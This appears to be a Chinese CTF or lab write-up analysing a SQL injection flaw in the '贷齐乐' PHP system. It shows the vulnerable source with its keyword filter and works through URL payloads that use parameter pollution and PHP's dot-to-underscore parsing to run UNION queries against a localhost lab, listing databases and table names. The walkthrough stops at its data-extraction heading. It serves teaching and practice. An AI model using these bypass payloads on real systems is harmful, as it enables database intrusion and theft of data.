贷齐乐系统sql注入漏洞

目录

源码

代码流程

payload编写

全局污染

php小特性

注入思路

payload构造

获取数据库名,这里是不可以使用database的因为括号被过滤乐

在information中查询数据库名

然后获取表名

获取数据


源码

php 复制代码
<?php
header("Content-type: text/html; charset=utf-8");
require 'db.inc.php';
  function dhtmlspecialchars($string) {
      if (is_array($string)) {
          foreach ($string as $key => $val) {
              $string[$key] = dhtmlspecialchars($val);
          }
      }
      else {
          $string = str_replace(array('&', '"', '<', '>', '(', ')'), array('&amp;', '&quot;', '&lt;', '&gt;', '(', ')'), $string);
          if (strpos($string, '&amp;#') !== false) {
              $string = preg_replace('/&amp;((#(\d{3,5}|x[a-fA-F0-9]{4}));)/', '&\\1', $string);
          }
      }
      return $string;
  }
  function dowith_sql($str) {
      $check = preg_match('/select|insert|update|delete|\'|\/\*|\*|\.\.\/|\.\/|union|into|load_file|outfile/is', $str);
      if ($check) {
          echo "非法字符!";
          exit();
      }
      return $str;
  }
  foreach ($_REQUEST as $key => $value) {
      $_REQUEST[$key] = dowith_sql($value);
//用空格分割字符串
  $request_uri = explode("?", $_SERVER['REQUEST_URI']);
  //i_d=1&i.d=aaaaa&submit=1
  if (isset($request_uri[1])) {
      $rewrite_url = explode("&", $request_uri[1]);
      //print_r($rewrite_url);exit;
      foreach ($rewrite_url as $key => $value) {
          $_value = explode("=", $value);
          if (isset($_value[1])) {
              //$_REQUEST[I_d]=-1 union select flag users
              $_REQUEST[$_value[0]] = dhtmlspecialchars(addslashes($_value[1]));
          }
      }
  }

  if (isset($_REQUEST['submit'])) {
      $user_id = $_REQUEST['i_d'];
      $sql = "select * from ctf.users where id=$user_id";
      $result=mysql_query($sql);
      while($row = mysql_fetch_array($result))
      {
          echo "<tr>";
          echo "<td>" . $row['name'] . "</td>";
          echo "</tr>";
      }
  }
?>

代码流程

代码先走这里将输入的数据进行过滤

然后往下,用?将代码分割

再往下&继续分割

然后继续往下,用=进行分割

进行判断进入过滤

过滤以下字符

然后再继续往下走,再进行一个查询

payload编写

全局污染

首先php在遇到两个相同名字参数时,php是取后一个的,如下图最终i_d的值为1

php小特性

当参数中出现.的时候会被解析成_,如下图

注入思路

可以使用使用php小特性和全局污染绕过,在这里的时候会将.转换成下划线,然后桡骨第一个waf

然后在这里取值的时候.和_会区分开,然后我们可以在第一个i_d写我们的payload,在i.d写正常数据用来绕过waf

payload构造

这里使用/**/是不想让url编码入库

php 复制代码
http://127.0.0.1:9999/daiqile/index.php?submit=aaaaaaaa&i_d=-1/**/union/**/select/**/1,2,3&i.d=123
获取数据库名,这里是不可以使用database的因为括号被过滤乐
php 复制代码
http://127.0.0.1:9999/daiqile/index.php?submit=aaaaaaaa&i_d=-1/**/union/**/select/**/1,2,database()&i.d=123
在information中查询数据库名
php 复制代码
http://127.0.0.1:9999/daiqile/index.php?submit=aaaaaaaa&i_d=-1/**/union/**/select/**/1,2,schema_name/**/from/**/information_schema.schemata&i.d=123

这里连成一串可以使用limit过滤

php 复制代码
http://127.0.0.1:9999/daiqile/index.php?submit=aaaaaaaa&i_d=-1/**/union/**/select/**/1,2,schema_name/**/from/**/information_schema.schemata/**/limit/**/12,1&i.d=123
然后获取表名

这里由于等号被过滤乐所以使用like,然后查表名的时候由于'被过滤所以使用了16进制编码

php 复制代码
http://127.0.0.1:9999/daiqile/index.php?submit=aaaaaaaa&i_d=-1/**/union/**/select/**/1,2,table_name/**/from/**/information_schema.tables/**/where/**/table_schema/**/like/**/0x637466&i.d=123

再然后获取列名,可以使用limt一个个获取

获取数据
相关推荐
BingoGo1 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php
JaguarJack1 天前
当你的 PHP 应用的 API 没有限流时会发生什么?
后端·php·服务端
cipher2 天前
ERC-4626 通胀攻击:DeFi 金库的"捐款陷阱"
前端·后端·安全
BingoGo2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php
JaguarJack2 天前
OpenSwoole 26.2.0 发布:支持 PHP 8.5、io_uring 后端及协程调试改进
后端·php·服务端
JaguarJack3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
后端·php·服务端
BingoGo3 天前
推荐 PHP 属性(Attributes) 简洁读取 API 扩展包
php
JaguarJack4 天前
告别 Laravel 缓慢的 Blade!Livewire Blaze 来了,为你的 Laravel 性能提速
后端·php·laravel
郑州光合科技余经理5 天前
代码展示:PHP搭建海外版外卖系统源码解析
java·开发语言·前端·后端·系统架构·uni-app·php
一次旅行5 天前
网络安全总结
安全·web安全